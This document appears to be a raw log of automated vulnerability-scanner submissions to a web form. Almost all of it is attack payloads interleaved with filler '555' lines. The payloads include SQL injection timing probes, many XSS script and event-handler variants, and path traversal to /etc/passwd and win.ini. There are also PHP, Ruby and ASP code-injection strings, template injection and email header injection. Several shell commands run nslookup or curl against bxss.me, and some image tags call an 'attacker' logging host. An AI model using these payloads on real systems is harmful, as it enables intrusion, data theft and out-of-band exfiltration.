555

555

555

555

555

555

1C3Maol4o2O

555

555

HB4KlGZA

555

555

555

555

'.gethostbyname(lc('hitjj'.'ecpslebu650cc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(80).chr(98).chr(87).'

555

555

555

555

555

555&n942455=v934987

".gethostbyname(lc("hiteo"."smbtvqkq6fdce.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(83).chr(121).chr(75)."

555<esi:include src="http://bxss.me/rpb.png"/>

555 bcc:0.282-229676.282.258be.19747.2@bxss.me

555

555

555

to@example.com> bcc:0.282-229678.282.258be.19747.2@bxss.me

555

555

555

555

555

$

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

555

555

555

555

555

555

555

555

555

../../../../../../../../../../../../../../etc/passwd

555

555

555

HttP://bxss.me/t/xss.html?%00

555

555

../../../../../../../../../../../../../../windows/win.ini

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

xfs.bxss.me

555

555

"+"A".concat(70-3).concat(22*4).concat(112).concat(80).concat(109).concat(80)+(require"socket" Socket.gethostbyname("hitlt"+"nsixvpql1ac7b.bxss.me.")[3].to_s)+"

555

bxss.me/t/xss.html?%00

)

555

file:///etc/passwd

';print(md5(31337));$a='

555

555

555

'+'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(106).concat(89)+(require'socket' Socket.gethostbyname('hitwv'+'hpvoqgqz3a0be.bxss.me.')[3].to_s)+'

555

!(()&&!|*|*|

555

";print(md5(31337));$a="

555

555

'"

^(#$!@#$)(()))******

555

../555

$

litye-kolesa-motard&act=save_comment

555

<!--

$\

litye-kolesa-motard&act=save_comment

555

555

555

'.print(md5(31337)).'

litye-kolesa-motard&act=save_comment/.

1

555

555

555

555

555

555

555

555

response.write(9948364*9109549)

555

555

555

'+response.write(9948364*9109549)+'

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

0

555

"+response.write(9948364*9109549)+"

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

'"()

555

Http://bxss.me/t/fit.txt

555'&&sleep(27*1000)*etkawr&&'

555

http://bxss.me/t/fit.txt?.jpg

555"&&sleep(27*1000)*tspjbt&&"

555

/etc/shells

555'||sleep(27*1000)*rhyjki||'

555

c:/windows/win.ini

555"||sleep(27*1000)*mvdyog||"

555'"()&%<zzz><ScRiPt >qqx5(9245)</ScRiPt>

555

bxss.me

555

'"()&%<zzz><ScRiPt >qqx5(9735)</ScRiPt>

555

555

5559977754

echo eqwrmp$()\ lxocbf\nz^xyu||a #' &echo eqwrmp$()\ lxocbf\nz^xyu||a #|" &echo eqwrmp$()\ lxocbf\nz^xyu||a #

&echo ajhqaz$()\ qtktpx\nz^xyu||a #' &echo ajhqaz$()\ qtktpx\nz^xyu||a #|" &echo ajhqaz$()\ qtktpx\nz^xyu||a #

bfg3231＜s1﹥s2ʺs3ʹhjl3231

555&echo xsyuej$()\ bzdqip\nz^xyu||a #' &echo xsyuej$()\ bzdqip\nz^xyu||a #|" &echo xsyuej$()\ bzdqip\nz^xyu||a #

|echo auuqjn$()\ erfhrv\nz^xyu||a #' |echo auuqjn$()\ erfhrv\nz^xyu||a #|" |echo auuqjn$()\ erfhrv\nz^xyu||a #

bfgx10936��z1��z2a�bcxhjl10936

555|echo ezttix$()\ blmovm\nz^xyu||a #' |echo ezttix$()\ blmovm\nz^xyu||a #|" |echo ezttix$()\ blmovm\nz^xyu||a #

(nslookup -q=cname hitnsqglvxtxz855b3.bxss.me||curl hitnsqglvxtxz855b3.bxss.me))

<%=}%>

$(nslookup -q=cname hitsquhpfsjkq960ef.bxss.me||curl hitsquhpfsjkq960ef.bxss.me)

&nslookup -q=cname hitaegcazbiqc8f2f4.bxss.me&'\"`0&nslookup -q=cname hitaegcazbiqc8f2f4.bxss.me&`'

<th:t="$#foreach

&(nslookup -q=cname hitqtftmpiuyzb3a29.bxss.me||curl hitqtftmpiuyzb3a29.bxss.me)&'\"`0&(nslookup -q=cname hitqtftmpiuyzb3a29.bxss.me||curl hitqtftmpiuyzb3a29.bxss.me)&`'

|(nslookup -q=cname hitcjizdvehukb676a.bxss.me||curl hitcjizdvehukb676a.bxss.me)

555'"()&%<zzz><ScRiPt >72a8(9253)</ScRiPt>

1}}"}}'}}1%>"%>'%><%=}%>

`(nslookup -q=cname hitludiegobbha739d.bxss.me||curl hitludiegobbha739d.bxss.me)`

;(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)|(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)&(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)

dfb}xca

'"()&%<zzz><ScRiPt >72a8(9183)</ScRiPt>

dfb[[$]]xca

5559978154

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg9981＜s1﹥s2ʺs3ʹhjl9981

555<ScRiPt >qqx5(9769)</ScRiPt>

555<WUNKB5>J0LO7[!+!]</WUNKB5>

bfgx5958��z1��z2a�bcxhjl5958

555<script>qqx5(9144)</script>

555<script>qqx5(9425)</script>9425

<%=}%>

555<ScR<ScRiPt>IpT>qqx5(9506)</sCr<ScRiPt>IpT>

<th:t="$#foreach

555<ScRiPt >qqx5(9831)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9968></ScRiPt>

1}}"}}'}}1%>"%>'%><%=}%>

555

555<ScRiPt >qqx5(9889)</ScRiPt>

555<svg  �onload=qqx5(9605);>

dfb}xca

555

555<isindex type=image src=1 onerror=qqx5(9771)>

dfb[[$]]xca

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9880'>

555<body onload=qqx5(9492)>

555

dfb__$__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=qqx5(9055)>

555

555<img src=xyz OnErRor=qqx5(9172)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9603)>

555<ScRiPt >72a8(9859)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%71%78%35%289765%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\qqx5(9934)\u003C/sCripT\u003E

555<WVZIO3>GS9CJ[!+!]</WVZIO3>

555<ScRiPt>qqx5(9447)</sCripT>

555

�<img zzz onmouseover=qqx5(95051) //�>

555<script>72a8(9231)</script>

555<input autofocus onfocus=qqx5(9528)>

555<script>72a8(9412)</script>9412

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555

555<ScR<ScRiPt>IpT>72a8(9201)</sCr<ScRiPt>IpT>

555}body

555

555ySmkL <ScRiPt >qqx5(9085)</ScRiPt>

555<ScRiPt >72a8(9059)</ScRiPt>

555<WZFSCO>CQFEF[!+!]</WZFSCO>

555

555<ifRAme sRc=9110.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9134></ScRiPt>

555<ahodVcP x=9407>

555<ScRiPt >72a8(9094)</ScRiPt>

555

555<img sRc='http://attacker-9931/log.php?

555<ahSYXYZ<

555<svg  �onload=72a8(9650);>

555<isindex type=image src=1 onerror=72a8(9480)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9175'>

555<body onload=72a8(9287)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=72a8(9060)>

555<img src=xyz OnErRor=72a8(9955)>

555<img/src=">" onerror=alert(9918)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%32%61%38%289919%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\72a8(9929)\u003C/sCripT\u003E

555

555<ScRiPt>72a8(9630)</sCripT>

555

�<img zzz onmouseover=72a8(91051) //�>

555

555<input autofocus onfocus=72a8(9715)>

555

<a HrEF=http://xss.bxss.me></a>

555

<a HrEF=jaVaScRiPT:>

555

555}body

555raLW3 <ScRiPt >72a8(9146)</ScRiPt>

555

555<WLI9IN>46SY8[!+!]</WLI9IN>

X1ZedQai

555<ifRAme sRc=9489.com></IfRamE>

555

555<axcJQuZ x=9256>

-1 OR 2+623-623-1=0+0+0+1 --

-1 OR 2+887-887-1=0+0+0+1

-1' OR 2+657-657-1=0+0+0+1 --

555<img sRc='http://attacker-9397/log.php?

-1' OR 2+44-44-1=0+0+0+1 or 'ahci5oXK'='

-1" OR 2+524-524-1=0+0+0+1 --

555<aZen4Fa<

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

TSAcqYKm'; waitfor delay '0:0:15' --

-5 OR 616=(SELECT 616 FROM PG_SLEEP(15))--

-5) OR 221=(SELECT 221 FROM PG_SLEEP(15))--

-1)) OR 154=(SELECT 154 FROM PG_SLEEP(15))--

jjj36BG8' OR 447=(SELECT 447 FROM PG_SLEEP(15))--

MgfKwNoi') OR 373=(SELECT 373 FROM PG_SLEEP(15))--

AOzTNb36')) OR 944=(SELECT 944 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@dodd2

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555vrtnFFmm

555

-1 OR 2+815-815-1=0+0+0+1 --

-1 OR 2+665-665-1=0+0+0+1

-1' OR 2+722-722-1=0+0+0+1 --

-1' OR 2+468-468-1=0+0+0+1 or 'qj8qJDa1'='

-1" OR 2+535-535-1=0+0+0+1 --

555*if(now()=sysdate(),sleep(15),0)

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555-1; waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

555F65Giy4N'; waitfor delay '0:0:15' --

555-1 OR 711=(SELECT 711 FROM PG_SLEEP(15))--

555-1) OR 515=(SELECT 515 FROM PG_SLEEP(15))--

555-1)) OR 861=(SELECT 861 FROM PG_SLEEP(15))--

5559EJUXaeK' OR 803=(SELECT 803 FROM PG_SLEEP(15))--

555RSXu1yB7') OR 217=(SELECT 217 FROM PG_SLEEP(15))--

555GoUAI6OL')) OR 850=(SELECT 850 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'"

555����%2527%2522\'\"

@@y8TDs

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555z2PufkTk

555

-1 OR 2+50-50-1=0+0+0+1 --

-1 OR 2+753-753-1=0+0+0+1

-1' OR 2+515-515-1=0+0+0+1 --

-1' OR 2+369-369-1=0+0+0+1 or 'MMm9o5h3'='

-1" OR 2+100-100-1=0+0+0+1 --

555*if(now()=sysdate(),sleep(15),0)

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

555-1; waitfor delay '0:0:15' --

555-1); waitfor delay '0:0:15' --

555-1 waitfor delay '0:0:15' --

5557G082d3T'; waitfor delay '0:0:15' --

555-1 OR 907=(SELECT 907 FROM PG_SLEEP(15))--

555-1) OR 487=(SELECT 487 FROM PG_SLEEP(15))--

555-1)) OR 754=(SELECT 754 FROM PG_SLEEP(15))--

555DrG6dqyy' OR 375=(SELECT 375 FROM PG_SLEEP(15))--

5552TPOoezr') OR 824=(SELECT 824 FROM PG_SLEEP(15))--

555GFG3OaEE')) OR 607=(SELECT 607 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'"

555����%2527%2522\'\"

@@tXCyz